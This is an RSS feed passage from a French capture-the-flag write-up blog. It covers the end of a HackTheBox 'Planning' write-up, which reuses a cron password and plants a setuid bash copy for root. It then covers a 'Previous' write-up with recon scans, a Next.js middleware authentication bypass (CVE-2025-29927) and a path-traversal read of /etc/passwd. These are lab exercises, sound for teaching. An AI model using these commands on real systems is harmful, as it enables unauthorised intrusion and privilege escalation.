enzo@planning:/opt$ <span class="hljs-built_in">cd</span> containerd
enzo@planning:/opt/containerd$ ls
ls: cannot open directory <span class="hljs-string">'.'</span>: Permission denied
enzo@planning:/opt/containerd$ <span class="hljs-built_in">cd</span> ..
enzo@planning:/opt$ ls
containerd  crontabs
enzo@planning:/opt$ <span class="hljs-built_in">cd</span> crontabs
enzo@planning:/opt/crontabs$ ls
crontab.db  env.db
enzo@planning:/opt/crontabs$ cat env.db
enzo@planning:/opt/crontabs$ cat crontab.db
{<span class="hljs-string">"name"</span>:<span class="hljs-string">"Grafana backup"</span>,<span class="hljs-string">"command"</span>:<span class="hljs-string">"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar &amp;&amp; /usr/bin/gzip /var/backups/grafana.tar &amp;&amp; zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz &amp;&amp; rm /var/backups/grafana.tar.gz"</span>,<span class="hljs-string">"schedule"</span>:<span class="hljs-string">"@daily"</span>,<span class="hljs-string">"stopped"</span>:<span class="hljs-literal">false</span>,<span class="hljs-string">"timestamp"</span>:<span class="hljs-string">"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)"</span>,<span class="hljs-string">"logging"</span>:<span class="hljs-string">"false"</span>,<span class="hljs-string">"mailing"</span>:{},<span class="hljs-string">"created"</span>:1740774983276,<span class="hljs-string">"saved"</span>:<span class="hljs-literal">false</span>,<span class="hljs-string">"_id"</span>:<span class="hljs-string">"GTI22PpoJNtRKg0W"</span>}
{<span class="hljs-string">"name"</span>:<span class="hljs-string">"Cleanup"</span>,<span class="hljs-string">"command"</span>:<span class="hljs-string">"/root/scripts/cleanup.sh"</span>,<span class="hljs-string">"schedule"</span>:<span class="hljs-string">"* * * * *"</span>,<span class="hljs-string">"stopped"</span>:<span class="hljs-literal">false</span>,<span class="hljs-string">"timestamp"</span>:<span class="hljs-string">"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)"</span>,<span class="hljs-string">"logging"</span>:<span class="hljs-string">"false"</span>,<span class="hljs-string">"mailing"</span>:{},<span class="hljs-string">"created"</span>:1740849309992,<span class="hljs-string">"saved"</span>:<span class="hljs-literal">false</span>,<span class="hljs-string">"_id"</span>:<span class="hljs-string">"gNIRXh1WIc9K7BYX"</span>}
</code></pre>
<p>Le fichier “crontab.db” contenait le password:</p>
<pre><code class="lang-bash">P4ssw0rdS0pRi0T3c
</code></pre>
<p>J’ai créé un tunnel SSH en me servant du port 8000 qui est ouvert, d’après la commande “netstat“ précédente.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ssh -L 8000:127.0.0.1:8000 -N -f enzo@planning.htb accéder au crontab UI dans le navigateur à l’adresse 127.0.0.1:8000 et me connecter avec les identifants.
</code></pre>
<p>Il fallait maintenant, que j’accède au “Crontab UI” dans mon navigateur à l’adresse “127.0.0.1:8000” et m’y connecter avec les identifants trouvés.</p>
<pre><code class="lang-bash">root
P4ssw0rdS0pRi0T3c
</code></pre>
<p>Dans le webUI du Crontab, j’ai ajouté un “CronJob“.</p>
<pre><code class="lang-bash">cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash
</code></pre>
<pre><code class="lang-bash">/usr/bin/docker save root_grafana -o /var/backups/grafana.tar &amp;&amp; /usr/bin/gzip /var/backups/grafana.tar &amp;&amp; zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip 
/var/backups/grafana.tar.gz &amp;&amp; rm /var/backups/grafana.tar.gz
</code></pre>
<pre><code class="lang-bash">/root/scripts/cleanup.sh
</code></pre>
<p>Déconnexion puis reconnexion, afin que les changements soient pris en compte. Et que je puisses me reconnecter dans le shell.</p>
<pre><code class="lang-bash">enzo@planning:~$ /tmp/rootbash -p
rootbash-5.2<span class="hljs-comment"># ls</span>
user.txt
rootbash-5.2<span class="hljs-comment"># cat user.txt</span>
flag_user{************************************}
rootbash-5.2<span class="hljs-comment"># cd root</span>
rootbash: <span class="hljs-built_in">cd</span>: root: No such file or directory
rootbash-5.2<span class="hljs-comment"># cd /root</span>
rootbash-5.2<span class="hljs-comment"># ls</span>
root.txt  scripts
rootbash-5.2<span class="hljs-comment"># cat root.txt</span>
flag_root{************************************}

rootbash-5.2<span class="hljs-comment"># cd scripts</span>
rootbash-5.2<span class="hljs-comment"># ls</span>
cleanup.sh  crontab.db  docker-compose.yml  Dockerfile
rootbash-5.2<span class="hljs-comment"># cleanup.sh</span>
</code></pre>
<p>Exécution du cronjob, créé depuis l’interface web.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Ce challenge HackTheBox était plutôt cool. J’ai pû toucher un peu aux bases de données, à Grafana.</p>
<p>J’ai appris à faire un tunnel SSH pour un accès via le browser. C’était pas évident cette partie.</p>
<p>Merci d’avoir lu cette article, et j’espère qu’il vous aura plu.</p>
<p>Fin</p>
]]></content:encoded></item><item><title><![CDATA[Previous HTB]]></title><description><![CDATA[Recon
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O -p- 10.10.11.83 -Pn

Les règles du Pare-feu m'empêchent, de faire mon scan habituel.
┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:24 EDT
Nmap...]]></description><link>https://fr3nch4writeups.hashnode.dev/pre</link><guid isPermaLink="true">https://fr3nch4writeups.hashnode.dev/pre</guid><category><![CDATA[HTB Writeup]]></category><category><![CDATA[Web Exploitation]]></category><dc:creator><![CDATA[Yoann]]></dc:creator><pubDate>Sun, 02 Nov 2025 17:25:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762105745313/ff2f28e8-1851-46f9-b544-d56daa324ed2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-recon">Recon</h1>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O -p- 10.10.11.83 -Pn
</code></pre>
<p>Les règles du Pare-feu m'empêchent, de faire mon scan habituel.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:24 EDT
Nmap scan report <span class="hljs-keyword">for</span> 10.10.11.83
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 10.43 seconds
</code></pre>
<p>Donc j'ai utilisé le flag -sS, qui permet de faire un scan semi-ouvert, en envoyant juste le paquet SYN.</p>
<p>J'ai fait le scan en plusieurs étapes, pour chercher les versions utilisées.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sC -O
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:26 EDT
Nmap scan report <span class="hljs-keyword">for</span> 10.10.11.83
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://previous.htb/
Device <span class="hljs-built_in">type</span>: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap <span class="hljs-keyword">done</span>: 1 IP address (1 host up) scanned <span class="hljs-keyword">in</span> 20.87 seconds
</code></pre>
<h2 id="heading-vulnerabilities-scan">Vulnerabilities Scan</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nuclei -target http://10.10.11.83           

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[WRN] Found 1 templates with syntax error (use -validate flag <span class="hljs-keyword">for</span> further examination)
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added <span class="hljs-keyword">in</span> latest release: 182
[INF] Templates loaded <span class="hljs-keyword">for</span> current scan: 8501
[INF] Executing 8299 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 202 unsigned templates <span class="hljs-keyword">for</span> scan. Use with caution.
[INF] Targets loaded <span class="hljs-keyword">for</span> current scan: 1
[INF] Templates clustered: 1798 (Reduced 1687 Requests)
[INF] Using Interactsh Server: oast.fun
[external-service-interaction] [http] [info] http://10.10.11.83
[waf-detect:nginxgeneric] [http] [info] http://10.10.11.83
[ssh-server-enumeration] [javascript] [info] 10.10.11.83:22 [<span class="hljs-string">"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"</span>]
[ssh-password-auth] [javascript] [info] 10.10.11.83:22
[ssh-sha1-hmac-algo] [javascript] [info] 10.10.11.83:22
[ssh-auth-methods] [javascript] [info] 10.10.11.83:22 [<span class="hljs-string">"["</span>publickey<span class="hljs-string">","</span>password<span class="hljs-string">"]"</span>]
[openssh-detect] [tcp] [info] 10.10.11.83:22 [<span class="hljs-string">"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"</span>]
[tech-detect:nginx] [http] [info] http://10.10.11.83
[INF] Scan completed <span class="hljs-keyword">in</span> 2m. 8 matches found.
</code></pre>
<h2 id="heading-fuzzing">Fuzzing</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://previous.htb -w directory-list-2.3-medium.txt -x json,php,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              json,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster <span class="hljs-keyword">in</span> directory enumeration mode
===============================================================
/<span class="hljs-comment"># license, visit http://creativecommons.org/licenses/by-sa/3.0/.json (Status: 308) [Size: 76] [--&gt; /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.json]</span>
/<span class="hljs-comment"># license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 308) [Size: 71] [--&gt; /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/]</span>
/<span class="hljs-comment"># license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 308) [Size: 76] [--&gt; /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.html]</span>
/<span class="hljs-comment"># license, visit http://creativecommons.org/licenses/by-sa/3.0/.php (Status: 308) [Size: 75] [--&gt; /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.php]</span>
/docs                 (Status: 307) [Size: 36] [--&gt; /api/auth/signin?callbackUrl=%2Fdocs]
/docs.html            (Status: 307) [Size: 41] [--&gt; /api/auth/signin?callbackUrl=%2Fdocs.html]
/docs.php             (Status: 307) [Size: 40] [--&gt; /api/auth/signin?callbackUrl=%2Fdocs.php]
/docs.json            (Status: 307) [Size: 41] [--&gt; /api/auth/signin?callbackUrl=%2Fdocs.json]
/api.html             (Status: 307) [Size: 40] [--&gt; /api/auth/signin?callbackUrl=%2Fapi.html]
/api                  (Status: 307) [Size: 35] [--&gt; /api/auth/signin?callbackUrl=%2Fapi]
/api.json             (Status: 307) [Size: 40] [--&gt; /api/auth/signin?callbackUrl=%2Fapi.json]
/api.php              (Status: 307) [Size: 39] [--&gt; /api/auth/signin?callbackUrl=%2Fapi.php]
/signin               (Status: 200) [Size: 3481]
</code></pre>
<p>Sur cette page, l’URL m’a semblé curieux:</p>
<p><a target="_blank" href="http://previous.htb/signin">http://previous.htb/signin</a></p>
<pre><code class="lang-bash">http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl http://previous.htb/api

/api/auth/signin?callbackUrl=%2Fapi
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -i http://previous.htb/api  

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:42:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fapi
</code></pre>
<p>J’ai testé si la cible était vulnérable à la faille CVE-2025-29927 , en analysant la réponse, au niveau du ‘header’ et du ‘body’ de la page.</p>
<p>Cette faille permet un ‘Auth Bypassing’ dans ‘Next.js’.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -i -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     http://previous.htb/api
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:53:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2181
Connection: keep-alive
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
X-Powered-By: Next.js
ETag: <span class="hljs-string">"dgiq94wxz01ol"</span>
Vary: Accept-Encoding

&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charSet=<span class="hljs-string">"utf-8"</span> data-next-head=<span class="hljs-string">""</span>/&gt;&lt;meta name=<span class="hljs-string">"viewport"</span> content=<span class="hljs-string">"width=device-width"</span> data-next-head=<span class="hljs-string">""</span>/&gt;&lt;title
 data-next-head=<span class="hljs-string">""</span>&gt;404: This page could not be found&lt;/title&gt;&lt;link rel=<span class="hljs-string">"preload"</span> href=<span class="hljs-string">"/_next/static/css/9a1ff1f4870b5a50.css"</span> as=<span class="hljs-string">"style"</span>/&gt;&lt;link rel=<span class="hljs-string">"stylesheet"</span>
  href=<span class="hljs-string">"/_next/static/css/9a1ff1f4870b5a50.css"</span> data-n-g=<span class="hljs-string">""</span>/&gt;&lt;noscript data-n-css=<span class="hljs-string">""</span>&gt;&lt;/noscript&gt;&lt;script defer=<span class="hljs-string">""</span> nomodule=<span class="hljs-string">""</span> src=<span class="hljs-string">"/_next/static/chunks/polyfills-42372ed130431b0a.js"</span>&gt;
  &lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/webpack-cb370083d4f9953f.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/framework-ee17a4c43a44d3e2.js"</span> 
  defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/main-0221d9991a31a63c.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/pages/_app-95f33af851b6322a.js"</span> 
  defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/pages/_error-41608b100cc61246.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js"</span> 
  defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;div id=<span class="hljs-string">"__next"</span>&gt;&lt;div style=<span class="hljs-string">"font-family:system-ui,&amp;quot;
  Segoe UI&amp;quot;,Roboto,Helvetica,Arial,sans-serif,&amp;quot;Apple Color Emoji&amp;quot;,&amp;quot;Segoe UI Emoji&amp;quot;;height:100vh;text-align:center;display:flex;flex-direction:column;
  align-items:center;justify-content:center"</span>&gt;&lt;div style=<span class="hljs-string">"line-height:48px"</span>&gt;&lt;style&gt;body{color:<span class="hljs-comment">#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media </span>
  (prefers-color-scheme:dark){body{color:<span class="hljs-comment">#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}&lt;/style&gt;&lt;h1 class="next-error-h1" style="display:inline-block</span>
  ;margin:0 20px 0 0;padding-right:23px;font-size:24px;font-weight:500;vertical-align:top<span class="hljs-string">"&gt;404&lt;/h1&gt;&lt;div style="</span>display:inline-block<span class="hljs-string">"&gt;&lt;h2 style="</span>font-size:14px;font-weight:400;
  line-height:28px<span class="hljs-string">"&gt;This page could not be found&lt;!-- --&gt;.&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;script id="</span>__NEXT_DATA__<span class="hljs-string">" type="</span>application/json<span class="hljs-string">"&gt;{"</span>props<span class="hljs-string">":{"</span>pageProps<span class="hljs-string">":{"</span>statusCode<span class="hljs-string">":404}},
  "</span>page<span class="hljs-string">":"</span>/_error<span class="hljs-string">","</span>query<span class="hljs-string">":{},"</span>buildId<span class="hljs-string">":"</span>-ipsiOtEey-zESpHzrwmc<span class="hljs-string">","</span>nextExport<span class="hljs-string">":true,"</span>isFallback<span class="hljs-string">":false,"</span>gip<span class="hljs-string">":true,"</span>scriptLoader<span class="hljs-string">":[]}&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;</span>
</code></pre>
<p>Le header force une récursion, qui bypass les vérifications d'autorisations, et peut permettre, d‘accéder aux chemins d'accès.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -i -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     http://previous.htb/docs
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 23:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: <span class="hljs-string">"83h4wb4nfw2l1"</span>
Vary: Accept-Encoding

&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charSet=<span class="hljs-string">"utf-8"</span> data-next-head=<span class="hljs-string">""</span>/&gt;&lt;meta name=<span class="hljs-string">"viewport"</span> content=<span class="hljs-string">"width=device-width"</span> data-next-head=<span class="hljs-string">""</span>/&gt;
&lt;title data-next-head=<span class="hljs-string">""</span>&gt;PreviousJS Docs&lt;/title&gt;&lt;link rel=<span class="hljs-string">"preload"</span> href=<span class="hljs-string">"/_next/static/css/9a1ff1f4870b5a50.css"</span> as=<span class="hljs-string">"style"</span>/&gt;&lt;link rel=<span class="hljs-string">"stylesheet"</span>
 href=<span class="hljs-string">"/_next/static/css/9a1ff1f4870b5a50.css"</span> data-n-g=<span class="hljs-string">""</span>/&gt;&lt;noscript data-n-css=<span class="hljs-string">""</span>&gt;&lt;/noscript&gt;&lt;script defer=<span class="hljs-string">""</span> nomodule=<span class="hljs-string">""</span> src=<span class="hljs-string">"/_next/static/chunks/polyfills-42372ed130431b0a.js"</span>&gt;
 &lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/webpack-cb370083d4f9953f.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/framework-ee17a4c43a44d3e2.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script 
 src=<span class="hljs-string">"/_next/static/chunks/main-0221d9991a31a63c.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/pages/_app-95f33af851b6322a.js"</span> defer=<span class="hljs-string">""</span>&gt;
 &lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/8-fd0c493a642e766e.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/chunks/0-c54fcec2d27b858d.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script 
 src=<span class="hljs-string">"/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script src=<span class="hljs-string">"/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;script 
 src=<span class="hljs-string">"/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js"</span> defer=<span class="hljs-string">""</span>&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;div id=<span class="hljs-string">"__next"</span>&gt;&lt;div class=<span class="hljs-string">"flex min-h-screen bg-white"</span>&gt;&lt;div class=<span class="hljs-string">"sticky top-
 0 h-screen w-64 border-r bg-gray-50 p-6"</span>&gt;&lt;h2 class=<span class="hljs-string">"mb-6 text-lg font-semibold"</span>&gt;PreviousJS&lt;/h2&gt;&lt;nav&gt;&lt;ul class=<span class="hljs-string">"space-y-2"</span>&gt;&lt;li&gt;&lt;a class=<span class="hljs-string">"block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100"</span> href=<span class="hljs-string">"/docs/getting-started"</span>&gt;Getting Started&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=<span class="hljs-string">"block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100"</span> href=<span class="hljs-string">"/docs/examples"</span>&gt;Examples&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/nav&gt;&lt;/div&gt;&lt;main class=<span class="hljs-string">"flex-1 p-8 lg:px-12 lg:py-10"</span>&gt;&lt;article class=<span class="hljs-string">"prose prose-slate max-w-none"</span>&gt;
 &lt;h1&gt;Documentation Overview&lt;/h1&gt;&lt;p class=<span class="hljs-string">"lead"</span>&gt;Welcome to the documentation <span class="hljs-keyword">for</span> PreviousJS. Get started with our comprehensive guides and API references.&lt;/p&gt;&lt;div class=<span class="hljs-string">"not-prose 
 mt-8 grid gap-4 sm:grid-cols-2"</span>&gt;&lt;div class=<span class="hljs-string">"rounded-lg border p-6"</span>&gt;&lt;h3 class=<span class="hljs-string">"mb-2 text-lg font-semibold"</span>&gt;Getting Started&lt;/h3&gt;&lt;p class=<span class="hljs-string">"mb-4 text-gray-600"</span>&gt;New to PreviousJS? 
 Begin here with basic setup and fundamental concepts.&lt;/p&gt;&lt;a href=<span class="hljs-string">"/docs/getting-started"</span> class=<span class="hljs-string">"text-blue-600 hover:underline"</span>&gt;Start learning →&lt;/a&gt;&lt;/div&gt;&lt;div class=<span class="hljs-string">"rounded-lg 
 border p-6"</span>&gt;&lt;h3 class=<span class="hljs-string">"mb-2 text-lg font-semibold"</span>&gt;Examples&lt;/h3&gt;&lt;p class=<span class="hljs-string">"mb-4 text-gray-600"</span>&gt;Detailed examples.&lt;/p&gt;&lt;a href=<span class="hljs-string">"/docs/api-reference"</span> 
 class=<span class="hljs-string">"text-blue-600 hover:underline"</span>&gt;Explore examples →&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=<span class="hljs-string">"mt-8 border-t pt-8"</span>&gt;&lt;h2&gt;Latest Updates&lt;/h2&gt;&lt;ul class=<span class="hljs-string">"text-sm text-gray-600"</span>&gt;&lt;li class=<span class="hljs-string">"mt-2"</span>&gt;v1.2.0
  - Feat: middleware is now opt-out!&lt;/li&gt;&lt;li class=<span class="hljs-string">"mt-2"</span>&gt;v1.1.4 - Improved TypeScript support&lt;/li&gt;&lt;li class=<span class="hljs-string">"mt-2"</span>&gt;v1.1.0 - Performance optimizations&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
  &lt;/article&gt;&lt;/main&gt;&lt;div class=<span class="hljs-string">"fixed top-0 right-0 p-4 bg-gray-100 border-t border-gray-200 shadow-md"</span>&gt;&lt;p class=<span class="hljs-string">"text-sm text-gray-600"</span>&gt;Logged <span class="hljs-keyword">in</span> as &lt;b&gt;???&lt;/b&gt;&lt;/p&gt;&lt;a 
  href=<span class="hljs-string">"#"</span> class=<span class="hljs-string">"cursor-pointer text-sm text-blue-600 hover:text-blue-800 underline"</span>&gt;Sign out&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;script id=<span class="hljs-string">"__NEXT_DATA__"</span> <span class="hljs-built_in">type</span>=<span class="hljs-string">"application/json"</span>&gt;
  {<span class="hljs-string">"props"</span>:{<span class="hljs-string">"pageProps"</span>:{}},<span class="hljs-string">"page"</span>:<span class="hljs-string">"/docs"</span>,<span class="hljs-string">"query"</span>:{},<span class="hljs-string">"buildId"</span>:<span class="hljs-string">"-ipsiOtEey-zESpHzrwmc"</span>,<span class="hljs-string">"nextExport"</span>:<span class="hljs-literal">true</span>,<span class="hljs-string">"autoExport"</span>:<span class="hljs-literal">true</span>,<span class="hljs-string">"isFallback"</span>:<span class="hljs-literal">false</span>,<span class="hljs-string">"scriptLoader"</span>:[]}&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;
</code></pre>
<p>Un attaquant peut parvenir à contourner les contrôles de sécurité, basés sur le “middleware“, en usurpant un en-tête, destiné uniquement à un usage interne.</p>
<h1 id="heading-exploitation">Exploitation</h1>
<p>La cible est vulnérable à une LFI (Local file Include).</p>
<p>La faille LFI, permet de lire des fichiers auxquels, nous n’avons pas accès initialement.</p>
<pre><code class="lang-javascript">┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http:<span class="hljs-comment">//previous.htb/api/auth/signin \</span>
     -H <span class="hljs-string">"Content-Type: application/x-www-form-urlencoded"</span> \
     -d <span class="hljs-string">"csrfToken=ton_csrf_from_cookie&amp;username=admin&amp;password=admin&amp;callbackUrl=%2Fapi"</span>
HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">302</span> Found
<span class="hljs-attr">Server</span>: nginx/<span class="hljs-number">1.18</span><span class="hljs-number">.0</span> (Ubuntu)
<span class="hljs-attr">Date</span>: Thu, <span class="hljs-number">25</span> Sep <span class="hljs-number">2025</span> <span class="hljs-number">22</span>:<span class="hljs-number">24</span>:<span class="hljs-number">24</span> GMT
Transfer-Encoding: chunked
<span class="hljs-attr">Connection</span>: keep-alive
<span class="hljs-built_in">Set</span>-Cookie: next-auth.csrf-token=<span class="hljs-number">2</span>dd6aaff881385b50aa0daf97c80f6e5f9c170f82c28db1372bfb91127c0e7ab%<span class="hljs-number">7</span>C56e3cb202c3d92c9b3d50b3803023955cbf72b6b34c966fe9a1e6b41f7daad7a; Path=/; HttpOnly; SameSite=Lax
<span class="hljs-built_in">Set</span>-Cookie: next-auth.callback-url=http%<span class="hljs-number">3</span>A%<span class="hljs-number">2</span>F%<span class="hljs-number">2</span>Flocalhost%<span class="hljs-number">3</span>A3000%<span class="hljs-number">2</span>Fapi; Path=/; HttpOnly; SameSite=Lax
<span class="hljs-attr">Location</span>: http:<span class="hljs-comment">//localhost:3000/api/auth/signin?csrf=true</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ffuf -u http://previous.htb/api/FUZZ \
     -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     -mc 200,201,400 \
     -t 50


download                [Status: 400, Size: 28, Words: 2, Lines: 1, Duration: 1031ms]
</code></pre>
<p><em>previous.htb/api/download/</em></p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -s -H <span class="hljs-string">"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"</span> \
     -H <span class="hljs-string">"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"</span> \
     <span class="hljs-string">"http://previous.htb/api/download?example=../../../../etc/passwd"</span>
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
